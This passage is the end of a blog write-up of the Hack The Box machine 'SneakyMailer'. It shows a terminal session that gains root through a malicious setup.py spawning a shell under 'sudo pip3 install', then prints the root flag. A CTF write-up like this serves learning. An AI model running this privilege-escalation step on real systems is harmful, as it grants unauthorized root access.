[email protected]:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
[email protected]:~$ sudo pip3 install $TF
sudo pip3 install $TF
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /tmp/tmp.W1SkBUGMfB
# whoami
whoami
root
# cat root.txt
cat root.txt
cat: root.txt: No such file or directory
# cat /root/root.txt
cat /root/root.txt
1e2c05855e4f5793fc7b8b8dadc1ff2b
# 

Rooted SneakyMailer! This was a fun box, I have learned new things. I have never seen a foothold like this, I appreciated this approach. Do you like this write-up? Please consider giving me a respect point: https://www.hackthebox.eu/home/users/profile/224856.

Happy hacking!

T13nn3s

I'm a cybersecurity enthusiast! I'm working as an IT Security Engineer for a company in The Netherlands. I love writing scripts and doing research and pentesting. As a big fan of Hack The Box, I share my write-ups on this blog. I'm blogging because I like to summarize my thoughts and share them with you.

View all posts by T13nn3s →

Leave a Reply

Your email address will not be published. Required fields are marked *